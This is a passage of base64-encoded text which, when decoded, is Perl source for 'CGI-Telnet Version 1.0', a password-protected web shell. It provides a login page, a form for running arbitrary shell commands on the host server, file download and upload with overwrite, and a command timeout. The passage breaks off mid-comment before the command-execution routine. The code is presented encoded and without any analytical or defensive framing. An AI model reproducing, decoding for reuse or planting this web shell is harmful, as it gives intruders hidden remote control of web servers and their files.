NvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcn